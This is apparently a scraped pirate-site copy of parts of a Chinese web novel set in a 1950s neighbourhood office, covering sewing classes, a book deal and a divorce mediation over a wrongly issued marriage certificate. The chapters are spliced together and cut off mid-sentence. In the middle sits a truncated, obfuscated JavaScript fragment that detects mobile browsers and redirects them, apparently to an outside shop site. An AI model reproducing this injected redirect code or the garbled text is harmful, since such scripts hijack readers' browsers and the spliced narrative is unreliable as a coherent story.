“单层领比双层领多节省3寸多的布料。您要是觉得 13.第 13 章 《五十年代军工大院》全本免费阅读 因着对纵火案印象深刻,黄黎穿来不久,便跟常月娥和叶满堂隐晦提过,应该给老五换个更好的住处。 理由就是附近邻居身份特殊,老五没结婚,住在那里可能会影响婚配。 在她想来不与那家人接触,不发生冲突,纵火案也就从根儿上避免了。 叶老五很给她这个新嫂嫂面子,收到建议后,果断换了一处院子。 他是赶马车的,需要一个大院子养马,放置马车。 月牙胡同是整个正阳区房租最便宜的地段。 他之前租的房子与薛巧儿家只隔了一户,听了新嫂子的建议后,他退了租,在隔着十来户的地方,重新租了一个更大更宽敞的院子,还在里面种起了蔬菜,养了一窝鸡崽和两头老母猪。 黄黎知道后,好悬没被他气死! 她提议换地方,人家换了,若是再提就有找茬之嫌。 何况书里说老五是因为邻里纠纷,才被薛巧儿家人报复的,如今两家隔得那么远,应该不至于产生邻里纠纷了,她便只好暂时作罢。 纵火案发生在这个夏天,以防老五或其他人与这家人起冲突,黄黎最近下班后经常假装送信,来月牙胡同兜上一圈。 “嫂子,把我放这就行了。”叶满枝坐在自行车大梁上,自然是看不到三嫂内心活动的,从车上跳下来,就笑着挥手再见。 “我陪你去吧?” “不用,你不是还有信没送嘛,我自己进去就行。” “那你自己小心点,办完了赶紧回家。” 叶满枝与三嫂在马路边道别,独自走进胡同后,按照名单上的地址,找到了薛巧儿家的大门。 掉漆的木门紧闭着,她上前敲了敲,没人回应。 又断断续续敲了一分钟的工夫,终于有人踢踢踏踏走了出来。 “敲敲敲,没人应还敲什么敲?” 短发姑娘粗鲁地将门拉开,皱着眉毛问:“你干什么的?找谁啊?” “同志你好,我是咱们光明街道办的,想找一下薛巧儿。” 短发姑娘抱臂靠在门框上,往她雪白的衬衫上瞟了一眼问:“你找她干什么?” 叶满枝正准备道明来意,小院儿里倏地传出一声爆喝:“郑东妹,谁让你倚门的?少跟那些不三不四的人学些不三不四的臭毛病!” “倚门”常让人联想到“卖笑”,郑东妹脸涨成猪肝色,喊道:“谁倚门了?这不是街道来人跟我说话嘛!” 听说是街道来人,小脚女人倒腾着碎步从屋里走出来。 叶满枝主动打招呼:“大娘你好,我是街道办的,特意过来邀请您家女同志参加咱们街道的活动。” “什么活动?” 叶满枝只字不提婚姻法,笑着说:“教妇女们学剪裁的,以后您家做衣服就可以少扯点布了,既省钱又省布票!” 面对街道干部,郑大娘笑容亲切,完全看不出刚刚呵斥女儿倚门的泼辣样子。 “领导,你看我都这把年纪了,哪还能干活,学剪裁也没用啊!” 叶满枝心说,我看你还不到五十呢,怎么就不能干活了? “您不去也行,那就让您家这位大姐和薛巧儿一起去吧。” 郑东妹收回瞄向她白衬衫的目光,不客气道:“你们街道能不能干点正事?总监视薛巧儿干啥?上次你们那个戴眼镜的主任,还答应让我们当救济户呢,这都多长时间了也没个动静!” 郑大娘在女儿腰上拍了一巴掌,“领导让你上课是好意,可不能这样跟领导说话!快跟领导道歉!” “我哪句话说错了?道什么歉?”郑东妹不耐烦道,“我嫂子在外面干活呢!我也没时间,你们以后别来了。” 说完便端出一盆洗衣服的脏水,霍地泼到了她家门前的土路上。 若非叶满枝身手矫健,这会儿已经是落汤鸡了。 面对重新紧闭的大门,叶满枝在心里劝自己冷静! 连穆主任那样的领导都要挨骂受气呢,何况是她这种没有编制的办事员! 想象一下当上正式干部,戴上大红花,受到上级嘉奖的光荣场景,叶满枝决定忍了! 她在心里不断开导自己,而后调转方向,走过半条胡同来到五哥家。 大门敞开着,还没进门,便能听到满院子的蝈蝈叫。 “哥,你怎么抓了那么多蝈蝈啊?吵死啦!” “城里孩子愿意买这玩意儿,我出去拉活的时候,顺便卖点蝈蝈。”叶满林扔了一个刚洗好的水蜜桃给她,又回身去给小马填草料。 “你这个顶多卖两分钱,咱四哥养的那个铁皮蝈蝈,能卖好几块呢!” “反正蝈蝈是抓的,笼子是我编的,都不花钱,卖一个赚一个。再说,有几个人能乐意花大价钱买铁皮蝈蝈?我这是薄利多销!” “这话真应该让四哥听听。”叶满枝在马背上拍了拍,拉着五哥说,“你让它自己吃草吧,过来试试我给你做的新鞋。” 叶满林笑眯眯道:“上次做的我还没穿呢!” “这次的不一样,你试试就知道了!” 叶满林依言换上新鞋,两只脚刚伸进去就感觉到了不同,他惊奇地问:“两只鞋底厚度不一样啊?” “对啊!我最近给人上剪裁课,这是我们课堂上的一个大娘教我的,她儿子也是长短腿,穿上这鞋以后,走路根本看不出来。” 在没见到吴峥嵘之前,五哥就是叶满枝见过的最好看的男同志。 若是拥有健全的人生,兴许也能像大姐一样去话剧团当个演员,或是像三哥那样进工厂当正式工人。 奈何五哥天生左脚畸形,长大后虽有改善,却仍能让人一眼看出端倪。 叶满枝不知替五哥惋惜过多少次了。 所以,从王大娘那里学到这种特殊布鞋后,她简直如获至宝,只恨自己没有人家的奇思妙想,否则她五哥早就能正常走路了! 叶满林穿上新鞋,左脚突然被垫高还有些不习惯,走起路来小心翼翼。 但正如小妹所说,一侧垫高后,一瘸一拐的情况有了明显改善。 叶满枝任他在院子里来回溜达,自己坐在屋檐下吃水蜜桃。 “哥,你认识这条胡同7号的那家人不?有个姑娘叫郑东妹的那家。” “认识,她哥叫郑东。我赶马车之前不是蹬过一段时间三轮嘛,那三轮就是跟郑东租的。”五哥疑惑问,“你打听他家干嘛?他家挺复杂,你少往那边凑。” 叶满枝就把刚刚的遭遇跟他说了。 “我想通知薛巧儿去参加活动,但她家人拦着不让见。穆主任说她们平时都不怎么出门的,薛巧儿能去哪里干活啊?” 五哥摇头说:“郑东妹没撒谎,她嫂子确实经常在外面干活。现在他们一家老少七八口人,全指望她赚钱养家。” “那个郑东呢?” “前些年出事瘫在床上了。他父母身体不好,不能干重活,现在是薛巧儿蹬三轮车拉活儿。” 叶满枝惊讶道:“她能蹬三轮车?她有那个力气?” 不是她小瞧人,三轮车拉的都是重物,那可是重体力活! 五哥英俊的脸上带出些轻嘲。 甭管能不能蹬得动,反正人家能想办法赚钱。 有些事不方便跟妹妹解释,他含混道:“我们这些搞运输的,不是都被社会主义改造了嘛,现在成立了运输合作社,社员之间能相互照应一下。” 再多的就不肯说了。 叶满枝没能从五哥这里打听到更多信息,也没等到归家的薛巧儿,只能换个时间再来。 * 穆主任给的那份名单上有十多人,叶满枝和陈彩霞成功动员了六人参加活动,其余人要根据具体情况各个击破。 这几天连续下暴雨,又是黄历上忌嫁娶、忌出行、忌动土的日子。 来街道办业务的居民大幅减少,小干部们闲来无事,便凑在一起研究晚上剪裁课要讲的图样和叶满枝的时装画册。 “小叶,要是把彩柔格布换成斜纹布,做成第二页这样的布拉吉,能好看不?”陈彩霞翻着画册问。 叶满枝认真想了想后摇头说:“不一定,这种裙子不太适合用纯色布料,斜纹布近看还行,远看的话没有花纹,跟纯黑纯蓝的差不多……” 庄婷接话说:“那个彩柔格其实也不怎么好看,底色是酱色的,我穿上有点显黑。” 几个女同志外加一个刘金宝讨论得热火朝天时,张勤简穿着雨衣从外面推门进来了。 叶满枝的办公桌在门边,主动打招呼:“张主任回来啦?外边雨还挺大的吧?” 本是一句正常寒暄,张勤简却停下来纠正道:“以后别张主任张主任的喊,要注意影响!” “啊?”叶满枝愣了一下,“不喊张主任喊什么呀?” “你喊我张主任,那把穆主任置于何地?”张勤简严肃道,“副主任就是副主任,不要在称呼上搞贿赂。” 叶满枝:“……” 喊声主任就能贿赂你,那你也太好贿赂了。 张勤简往陈彩霞的办公桌上瞄了一眼,不满道:“还有啊,咱们单位最近的风气很不好,烫头发描眉毛的问题还没解决,有些同志又开始研究穿衣打扮了,这让人民群众怎么看待咱们?” 正在研究穿衣打扮的几个人都噤了声。 “说到这里,我还得提一句,”张勤简对陈彩霞和叶满枝说,“我看你们搞的那个剪裁课可以停一停了。” “为什么啊?婚姻法宣传月要持续一个月呢,”陈彩霞小心翼翼地争取,“张副主任,现在停课,多可惜啊!” “你们那是宣传婚姻法吗?依我看已经变味了!正事没教几件,反而让大家学会了浮夸,攀比!穿衣干净朴素即可,做那么多漂亮衣服干嘛?这是不是一种浪费?” 这番话相当于把陈彩霞和叶满枝最近的工作成绩全盘否定了。 陈彩霞当即就被气红了眼眶。 她才新婚没多久,每天下班不回家,为大家做普法宣传,就是为了得到领导认可,当上正式干部。 结果她牺牲休 第 14 章 三合一 《五十年代军工大院》全本免费阅读 【三嫂还没出书呢,我就要出书了?】 这是叶满枝听到周敏问话后的第一反应。 黄大仙在她心里是个牛人,白天送信消耗那么多体力,晚上居然还有精力写作。 虽然不知她具体写了什么,但叶满枝偶尔能看到她往鼓鼓囊囊的信封上贴邮票,像是给报社投稿的。 人家正经写文章的都没出书,自己这种画简笔画的,居然要出书啦! 望着面前的周敏,她不好意思道:“周主任,这些画虽是我画的,但服装款式可不是我设计的,这样也可以出版吗?” “当然可以,”周敏指了指她办公桌上的一本《社论汇编》,“这里面的社论也不是出版社编辑写的,照样能进行汇编出版!” 时装画册是她在居民小组长家里看到的。 封面平平无奇,翻开以后却内有乾坤。 除了常见的旗袍、衬衫,还有春季大衣、两用衫、马甲、裙子、裤子、连衫裙等等。 尽管例图是用铅笔画的,但式样旁边都标注了详细的面料种类、颜色,标准体型的女同志大概需要几尺布,有的还写了成衣价格和生产厂家。 光是在她手中的这本画册上,就能看到上海造寸、红霞,北京红都,天津白玫瑰等时下著名服装商标。 若不是真心热爱,一般人很难记录得如此细致详尽。 周敏做了半辈子图书出版工作,只翻了几页,便觉得这种画册非常有出版价值。 今年初,共青团中央和全国妇联专门召开过一场有关妇女着装的座谈会,提倡妇女打扮得漂亮一些,衣服穿得美一些。[1] 半年看下来,城里确实有不少女同志响应了号召,但是由于消息闭塞,许多人做的新衣服仍是从前那种宽松肥大的款式,大体上缺乏美感。 周敏觉得,无论从政治意义还是实用价值上来看,这本画册都很值得出版。 叶满枝尚不清楚自己画册的价值,但这并不妨碍她趁机打小报告。 “周主任,有机会出版这些画册,我真是打心眼儿里高兴,但这事恐怕行不通……” “怎么行不通?”穆兰接过话头劝道,“小叶,你可不能犯傻!将时装画册出版,让更多女同志看到,是方便广大妇女同胞的好事!对咱 们街道来说,也是一项荣誉!” 叶满枝侧过身子,小声跟她解释:“张副主任前几天已经批评过我了,不让我把时装画册借出去。” “怎么回事?这跟老张有什么关系?” “您不知道吗?”叶满枝适当露出惊讶神情,“张副主任说我这些画册是宣扬享乐主义,穿漂亮衣服是追求奢侈享受,不允许这些内容在街坊间传播。我正打算将借出去的画册全都要回来呢。” “胡闹!正常穿衣怎么就成奢侈享受了?省美术出版社是省委的直管单位,也是党的宣传喉舌,什么书能出,什么书不能出,人家比咱们清楚!”穆兰果断道,“老张那边我去解释,图书出版不能耽误,小叶,具体细节你跟周主任好好商量商量。” 穆兰与老张共事了三年,对方有些小心思她是清楚的。 街道办庙小,有些事她睁一只眼闭一只眼也就糊涂过去了。 但美术出版社是省级单位,自家干部要是能通过省级单位出书,对他们这个小街道办也能起到正面宣传作用。 毕竟作者名字前面是可以加上所在单位名称的! …… 经过一番探讨后,叶满枝这本新书的名字被暂定为《服装款式图汇编:女装XX例》。 具体能有多少例,要看叶满枝的画册中能选出多少款式。 一些重复的、近似的例图会被删减掉,还有些苏联的布拉吉款式,能否被收录进书里,还要等出版社那边开会讨论。 除此之外,叶满枝的画册中大部分是春秋和夏季服饰,冬装较少,最好还能增添一部分冬装例图。 三人在办公室里讨论了一下午,散场时,窗外早已风停雨歇,铅云散尽。 空气里氤氲着雨后的潮热和花香,叶满枝与二人道别,迫不及待地往军工大院跑去。 大院里有几拨人正在树下对弈,落子声噼噼啪啪,此起彼伏,观棋的大爷围得里三层外三层。 常月娥坐在妇女堆里,一边择豆角,一边跟大家拉家常。 叶满枝兴奋地跑过去,与街坊们团团打过招呼后,冲常月娥招招手。 “妈,我跟你说个事!” “小叶干部,啥事不能当着大家的面说?” 叶满枝严肃地纠正:“罗 姨,你可别喊我小叶干部了,我还在试用期呢,不是正式干部。” “那不是早晚的事吗!” “不行不行,我们张副主任说了,不能搞称呼贿赂!”叶满枝嘻嘻笑,“我们喊他张主任,都被批评了,要喊张副主任。” 妇女们:“……” 假正经! 叶满枝挥手与大家道别,急三赶四地将妈妈拉上楼。 然后当着全家人的面,正式宣布了自己即将出书的大好消息! 房间里的空气沉默了下去。 等了一会儿,四哥左右瞅瞅,决定当这个出头鸟,替大家发问:“你不会是遇上骗子了吧?” 叶来芽画画还行,但绝对达不到出书的水平。老幺若是能出书,那他也行啊! “不是,出版社的同志是由我们穆主任亲自带来的,做不了假!嘿嘿嘿~” 叶守信一拍大腿,“我闺女居然真的能出书啊!这事要是成了,咱家也算是书香门第了!” 他原本还为小女儿的婚事操心,就怕她因为退过婚,高不成低不就,挑不到合心意的姑爷。 若是女儿所说是真的,那他甚至敢拿着新书去市长家提亲! 常月娥也激动地附和:“对啊!满大院儿找不出第二个能出书的姑娘!” 叶满枝膨胀了一下午的虚荣心,立马被爹妈满足了,拉过妈妈的手说:“出版社的周主任让我增加一些秋冬服饰的例图,但我现在白天上班,晚上组织活动,哪有时间往商店跑。妈,你抽空帮我去看看吧。” 她画画和做衣服的手艺,都是跟妈妈和二姐学的。 常月娥从前的夫家是经营绸缎庄的,光是布料她就认识上百种,若论剪裁、制衣的手艺,不知比女儿强出多少。 老叶怕她总做针线活伤眼睛,这才让孩子们自己动手做衣服。 对于女儿的请求,常月娥自然不会拒绝,拍着胸脯保证,“明天我就坐车去妇儿商店,那边秋衣和冬衣上市早,保管帮你把事情办得妥妥的。” “嘿嘿,那我明早去肉摊订俩猪蹄,给你好好补补。”叶满枝搂着妈妈的肩膀说,“等出版社的稿费到账了,咱俩一人一半!” 母女俩一唱一和,而黄黎和沈亮妹这对妯娌,则十分难得地生出了同样的想 法—— 这叶满枝可真是生了一张巧嘴。 除了洗自己的衣服,整天在家啥活不干,单凭一张嘴就把爹妈忽悠得找不着北了! 不过,叶满枝能出书,还是给了叶家人很大震撼的,尤其是黄黎,回到他们夫妻的房间后,半天都没回过神来。 作为枕边人,叶满堂当然知道她业余时间都在做什么,见状安慰道:“老幺能出书,有运气的成分,也是这些年积累的结果。你刚来咱家,不知道以前的事。” “她从小就爱鼓捣这些,为了收集布料、花边、纽扣、针线,不知搭进去多少钱。幸好现在买布要用布票了,否则她那点工资,全得花在打扮上。你刚开始写作,还是慢慢来吧,那句话是怎么说的来着?” “不积跬步无以至千里。” “嘿嘿,到底是发表过文章的大文豪,就是比我有文化。”叶满堂无脑吹。 黄黎挖了点雪花膏抹在手上,语带艳羡:“别的倒是没什么,图书出版的稿费应该不会少,我主要是羡慕小妹能赚外快了!” 当邮递员只是跳出学校的权宜之计,她穿越一遭,不可能一辈子当邮递员吧? 若想往系统内的文职调动,就得时不时展示一下笔杆子。 黄黎以前是学体育新闻的,毕业后在体育频道当出镜记者,脚本讲稿都能独立操刀完成,算是同期记者里文字功底比较强的。 但两个时空的用语习惯完全不同,她穿来以后,先读了大半年的报纸,只尝试着写过几篇有关工人和基层工作的小品文。 目前已有两篇成功发表,收到稿费后,带叶满堂去吃一次俄餐就挥霍得差不多了。 报社给的稿费与图书出版的稿酬不能比。 据她所知,著作稿最低标准是千字4块钱,一本十万字的图书至少能拿到四百块的稿酬。 有的大作家甚至能达到千字15块,出版一本书就能在北京买院子了。 叶满枝的书里主要以图样为主,文字较少,不知会如何定价。 不过,黄黎出神地想,小姑子出版服装图书这件事,其实也能给自己提供一些新思路吧。 * 街道办这边,有了省级出版社的背书,叶满枝和陈彩霞又重新抖擞了起来。 剪裁 课照常上,画册也继续出借传阅。 但是,通过这件事,两人也看出来了,张副主任对她们似乎有些意见。 具体原因不明。 为了不去触碰张勤简的敏感神经,她俩在办公室里沉寂了不少。 这天傍晚,叶满枝送走最后一位办业务的街坊,抱着饭盒准备下班时,隔壁派出所的雷涛突然风风火火跑了进来。 目光在叶满枝、凤姨和穆兰之间抉择一阵后,对穆兰说:“穆主任,我们那边有个紧急情况需要您帮帮忙,您这会儿有空不?” “什么事?” “有个妇女跑到我们派出所门口,闹着要上吊!” “……” 穆兰霍地从座位上站起来,“那你倒是赶快救人啊!跑来这里做什么?” “今天孟姐请假了,”雷涛挠头说,“我们几个男的也不方便动手抱她呀!您去看看吧,顺便帮忙调解一下。” 叶满枝放下饭盒,主动请缨,“要不我跟你去吧,我力气大。” 谁知这雷涛求人还挑三拣四的,红着脸说:“你不行,你还没结婚呢,不适合参与这个案子!” “我们街道办的干部不分男女,也不分结没结婚,遇事就要迎难而上!” 穆兰不再多问,拉上小叶就往外走。 至于留在办公室里的凤朝阳同志,则被大家共同忽略了。 凤姨是标准的朝九晚五作息,早九点上班,晚五点下班,只做分内工作,五点以后从不加班,不参加任何活动。说也说不通,辞又辞不掉,她本人无欲无求,领导拿她也没办法。 叶满枝在心里小小羡慕了一下凤姨,又着急去派出所看热闹,亦步亦趋地跟着穆主任出门了。 派出所的大门前,果然如雷涛所说,有个中年女人在往门口的树杈上拴绳子。 为上吊做准备。 几个片儿警站在旁边,不等她把脑袋套进去,已有人眼疾手快地将绳子扯了下来。 女人还要抢,刘所却从派出所里走出来,阴着脸说:“葛红!有事说事,你要是再这样闹,我们可就不客气了!” “你们还能怎么不客气?我来报了三次案,你们每次都推脱不处理!我就是要让大家看看,你们是怎么把人逼死的!” “捉贼捉赃,捉奸捉双,你哪次报案有证据?我告诉你,葛红,胡搅蛮缠在我们这里行不通!你上吊也解决不了任何问题!” 闻言,葛红也不去抢绳子了,坐到地上拍起了大腿,用一种大家都耳熟的调调唱着哭诉:“哎呀,我怎么这么命苦啊~啊啊啊~大盖帽包庇坏人啦~啊啊啊~~~” 叶满枝站在人群后排,满眼惊奇地看着她干打雷不下雨,用唱戏的腔调控诉片儿警。 要知道,时下的老百姓很敬畏公安,进了派出所的人少有像她这样嚣张的。 眼见刘所那张大方脸铁青铁青的,被喊来帮忙的叶满枝赶忙出列,将女人从地上拽了起来。 刘所头疼地说:“穆主任,这人还是交给你们街道办吧,她说的事没法立案,主要还得靠调解。” “怎么回事?”穆兰问。 “她男人是蹬三轮拉货的,最近两个月拿回家的钱越来越少,她觉得不对劲,就去合作社打听了,结果发现工钱比别人少了一半。她非说男人把钱给了薛巧儿……” 葛红愤然插话:“这位领导,薛巧儿出身柳梢胡同,整条街谁不知道?老李把钱给她能是为了什么好事?那窑姐儿,根本就是重操旧业了!” 柳梢胡同是解放前有名的欢场,通俗点讲,就是窑子。 叶满枝疑惑道:“虽然他工资少了一半,但合作社给他发多少,他就拿回家多少,跟人家薛巧儿有什么关系呀?” “你这年轻小干部哪能想到他们的龌龊!这拉活儿的工资都是计件的,他俩干了那事以后,老李可以把自己拉的活儿,记到薛巧儿的出工表上。名正言顺,光明正大,谁也挑不出毛病来!” 葛红满心窝囊道:“当初她男人瘫在床上,我还可怜过她,让老李送了三千块(旧币,相当于新币三毛)给她家!后来她想加入合作社,大家碍着她的名声,不愿接纳她,我也帮她说过好话。这人咋能忘恩负义,啥钱都赚呢!” “好了好了,事情还没弄清楚,你哭什么哭?”穆主任用手背给她擦了擦眼泪。 心里也有些后悔让小叶过来了。 “怎么没弄清楚!我在街上望见好几次了,他俩一起骑车拉活儿!而且我给老李洗衣服的时候,发现了长头发,还在他兜里翻出了带香味的手
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963946|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动就能听到这婆媳俩霹雳乓啷,摔摔打打的声音。 这天,穆主任给凤姨和叶满枝安排了一项任务。 “齐茂林要离婚,仇晓燕不同意,现在这事闹到咱们街道办来了,你俩管着民政工作,这事就由你们上门去调解吧。” 叶满枝瞅一眼皱眉的凤姨,连忙将事情答应下来。 如今没那么多闹离婚的人,她俩平时只做结婚登记,除了郑东和薛巧儿,这还是叶满枝处理的第一个离婚调解案子。 她俩接到任务的当天,便去了一趟齐家。 夏日午后的大院里很安静,走进齐家所在的9栋,除了窗外的蝉鸣,就是齐大娘骂人的声音。 齐茂林的耳朵上包着纱布,因着受伤最近一直在家休养,这会儿正躺在床上看报纸。 见到街道来人,他连忙放下报纸,虚弱地说:“领导,你们可算是来了!” 好像他受了多大冤屈似的。 凤姨办事向来是直切要害的,坦言道:“齐茂林,你在处理与薛巧儿关系的问题上,并不无辜,你媳妇也不是完全冤枉了你。” “哎呀,你这同志怎么这么说话呢!”齐大娘不乐意道,“茂林跟那薛巧儿什么关系也没有。” “有没有关系,他心里最清楚。”凤姨没啥感情地说,“这件事夫妻俩都有问题,如果把真实情况告知法院,法院也未必会判离。” 齐茂林叹口气说:“领导,我跟你说实话吧,我现在真是怕了我媳妇了,一想起她我就直哆 嗦你说这日子还咋过?” 仇晓燕咬他耳朵的时候他俩正准备床头打架床尾和呢。 他在关键时刻被对方咬掉耳朵让他对仇晓燕已经有心理阴影了。 齐大娘恨声说:“茂林还没孩子呢你说夫妻俩的关系变成了这样以后还能生出孩子来吗?” 不知她想起了什么伤心事说着说着就抹起了眼泪。 叶满枝这回是负责唱红脸的安慰道:“大娘他们两口子还年轻呢孩子早晚都会有的。您别哭了先跟我说说他俩的基本情况比如哪年结婚的领了结婚证还是只办了酒席夫妻财产情况如何。” “他们能有什么财产啊 叶满枝问她那些情况主要是为了安抚她的情绪调解阶段用不上结婚证。 不过她还是意思意思打开看了一眼。 内容是从右往左竖着写的。 结婚人男齐成功。 结婚人女仇晓燕。 叶满枝顿住动作抬头问:“大娘齐成功是您家哪位啊?” “齐成功是我家老头子。” 作者有话要说 一百个红包明天见~ 感谢在2024-07-2011:59:07~2024-07-2020:47:34期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:黄花菜、洋葱、墨染槿涩、双马尾胖虎1个; 感谢灌溉营养液的小天使:穿猫的靴子君60瓶;lydianlu、唯心而语30瓶;三三29瓶;qixunhappy25瓶;秋随风、我胖林呀、超级成功单20瓶;无双&卡卡、cxh19瓶;钱爱我我爱钱18瓶;魇瞳13瓶;夏天的风12瓶;南柯一梦11瓶;啊炤小可爱、mushroom、懒懒、晓、colin简、喵哩喵叽、xxi、期期、爱吃红杏子、那样的你、GDSAMA198810瓶;是HyunA7瓶;宇宙飞船的惊奇6瓶;最初最后、.泪海的盐、不要受委屈!、扣扣、双马尾胖虎、尛 、红烧小王吧、我爱葡萄、吧啦吧啦吧啦哒、柳西莫、ariel、木头人、今天也很困、最爱喝酸奶、Xixi、theeyes1987、橘子猫5瓶;灯火阑珊ouc4瓶;要吃大餐、早安风铃、一尾冷水鱼、橘蝉、不分先后、竹秋、姜姜姜姜、伏眸、甜醋排骨、梅朵、。2瓶;crystal、小砂子的深夜食堂、69438900、春天花花、TEN、肆意、……、贵宾小甜甜、60536178、严严不要熬夜玩手机、叫我暗黑大帝、rebecca、锦暖、茳芏、stella、小鸣、三三得九、最丫丫丫的兔、鸵鸵、不知怎么取名的我、一朵奇葩压梨花、‘早起的虫儿、被鸟吃、55868838、渔者愚者、浮瑜、一块小饼干、雨革月、看天空〆白云飘、skyskyblue、xiaojiang、再瘦10斤、浅岛、Karen星微、查查、沅沅、玖陈林、水果沙拉、双熙、咿呀咿呀哟、57089820、酸奶少68、艳阳天、雅丽奇、cat?le、大瑜爱吃小鱼的鱼、姜素堇、略略略、梦幻紫蝶_小琼15、36774758、幸福永远、Lychee、滴滴答答滴、57588418、流水向西、加更~撒花、墨陌、隔着距离、kk、酸菜鱼、乐意、69295327、∞、茜yuyu1瓶; 非常感谢大家对我的支持我会继续努力的! 第 25 章 街道交谊舞学习班 光明街道办成立以来,从没遇到过这么离谱的案子。 别说叶满枝糊涂了,连经验丰富的凤姨也跟着迷糊。 凤朝阳盯着这张被妥善保存的结婚证看了半晌。 首先,可以从公章确定,这结婚证不是光明街道办发出去的。 对她这个负责结婚登记的工作人员来说,算是一个好消息,至少不用被问责了。 然而,坏消息是,这张结婚证是区长发出去的! 齐茂林和仇晓燕结婚的时候,光明街还没设立街道办。 在城市里,如果所在地没有街道办,就要去市里或区里领结婚证。 他们这张结婚证就是当时的区政府颁发的。 区长XXX的名字还大剌剌地写在结婚证的末尾。 而据凤朝阳所知,这位XXX如今已经高升到市里去了…… 当然,区长是不可能亲自出面给新人办理结婚登记的,登记工作有专人负责,他只起到一个在每张结婚证上签字的作用。 但这事好说不好听啊! 齐大娘像是还没明白发生了什么,直勾勾地盯着两个街道干部。 齐茂林更是怀疑自己的耳朵被仇晓燕彻底咬坏了,他咋听不懂呢? 望着表情呆滞的母子二人,叶满枝问:“齐茂林,当初你们夫妻办理登记结婚的时候,你在现场吗?” “这不废话吗,我结婚能不在现场吗?那时候是我跟仇晓燕一起去领的证!” 叶满枝匪夷所思道:“既然是你亲自去领的结婚证,这证上名字不是你的,你没发现呀?” 齐茂林顿感冤枉,“我不识字啊!” “呵,”凤姨瞟一眼床上的报纸,“不识字还能看报纸呢?” “我是在车队扫盲班学的识字,领证的时候真的不识字!” 即便是当下,他也只能看看报纸上的图片和连环画打发时间。 他要是有文化,早就想办法进工厂上班了,谁还蹬三轮啊! 叶满枝和凤姨都觉得事情蹊跷,详细询问了这对小夫妻的情况。 最终确定,齐茂林和仇晓燕当初都是文盲,结婚证领回来就被齐大娘拿去压箱底了。 要不是齐茂林想闹离婚,这张结婚证还没机会重见天日呢! 事情的走向太过离谱,现场四人都有点回不过神来。 凤姨心说,结婚证上的名字不是本人,这婚还离什么离? 如果要离婚,是齐成功去离,还是齐茂林去离? 她以前遇到过写错结婚人名字的情况,但大多是工作人员写了错别字。 像这种把儿子名字写成公公的,她真是闻所未闻! 这事还得回去上报一下。 因着有了这个离奇插曲,齐茂林闹离婚的事只能先放一放。 叶满枝和凤姨回到街道办,将事情通报了。 见到全员震惊脸以后,叶满枝心里终于舒坦了,这事真不是她大惊小怪,谁听了都得迷糊! 然而,不等大家讨论如何处理后续问题,齐大娘带着儿子跑来了街道办。 她不是大大方方走进办公室的,而是站在门口,探进小半边身子,招手将坐在门口的叶满枝喊了出去。 齐大娘眼眶还是红的,鬓发也是散乱的,叶满枝可以想象,在她们离开后,齐家经历了怎样惊心动魄的一哭二闹三上吊。 而此时的齐大娘只是拉着她的手,挤出一个笑说:“小叶干部,反正名字是写错的,你看这结婚证的事,你们就当不知道行不行? 闻言,叶满枝默了一瞬,没回答行或不行,而是问:“大娘,齐茂林还想跟仇晓燕离婚吗? “离啊!齐茂林受不了地说,“我可不敢跟她睡一张床上,万一趁我睡着的时候又咬我耳朵咋办? 叶满枝耐心地解释:“如果你想离婚,那离婚的时候就要将当初的结婚证上交到区里,这是必须的…… 齐大娘语气焦急:“小叶干部,我不是啥也不懂的人。街道宣传婚姻法的时候,我也去你的班上听过课。解放前的婚姻都是没有结婚证的,人家不是都离了吗?就当茂林和仇晓燕的结婚证丢了,你们按照丢了结婚证来处理行不行? 话落,她将手伸进裤兜,攥住一把什么,然后作贼似的快速塞进叶满枝手里,还体贴地用双手包住叶满枝的手,帮她把拳头握了起来。 叶满枝没看清手心里被塞的东西,但是凭手感也知道那是钞票。 她才上班一个多月,就被人贿赂啦? “大娘,咱有事说事,叶满 枝赶紧将钱放回她手里,“结婚证写错名字是大事,我们回来后就跟领导通报了,现在不只我俩知道这件事,我们领导也知道。 这娘儿俩要是反应快点,当她们在齐家的时候就提出这个解决方案,兴许还有些转圜的余地。 但她跟凤姨回来后,已经跟大家介绍了情况,这事想瞒也瞒不住呀! 她只能尽力将事情按在街道办内部,不让这种公公和儿媳领证的丑闻传到外面去。 其他的她真没办法。 齐茂林揪着头发问:“领导,你说我们这事能怎么办? 叶满枝腹诽,她也不知道咋办,刚想跟领导探讨一下解决办法,你们就来了。 但她仍是故意做出一副很懂很专业的样子说:“最简单的办法,就是你们不离婚,如果不离婚,那就用不上结婚证,问题自然迎刃而解了。 只要当事人不闹,街道办也不会硬逼着人家去换结婚证,这事全凭自愿。 齐茂林苦着脸说:“不离不行啊。 他本就害怕仇晓燕,再想到她和自己亲爹在一张结婚证上待过,心里就更别扭了。 他跟大哥都没孩子,父母还指望他尽快开枝散叶呢。 这种情况下,他怎么生孩子? “如果这婚必须离,那你就要与仇晓燕沟通,这张结婚证不是你一个人的,想必仇晓燕也不愿意见到这种情况。 叶满枝把母子俩暂时劝回去了,然后将刚刚差点被行贿的事跟领导报备了一下。 穆兰皱眉说:“他俩这张结婚证还真是个麻烦事,不知当初区里是谁负责的,怎么能犯这种低级错误! “他俩领证那时候,还不需要填写《婚姻登记申请表》,只要带上户口册、介绍信就能去区里登记,凤姨皱眉推测,“也许是工作人员在填写结婚证的时候,误将齐家户口册上户主的名字写了上去。 无论如何,这是相关工作人员的重大工作失误,如今被苦主找上门来,还是要尽快向区里通报的。 而且另一个当事人仇晓燕那边也需要沟通一下。 咬掉男人半边耳朵算是故意伤人,仇晓燕之前一直被关着。齐家曾放话说,仇晓燕不离婚就不写谅解书,一定要让仇晓燕将牢底坐穿。 直到仇晓 燕的大哥出面与齐家人交涉答应让妹妹尽快离婚才顺利将人捞出来领回了娘家。 仇大哥比仇晓燕大了将近二十岁既当爹又当妈一手将这个妹妹拉扯大在齐家人的认知里他能当仇晓燕的半个家。 不过现在讲究婚姻自由仇晓燕坚决不肯离仇大哥也拿她没什么办法。 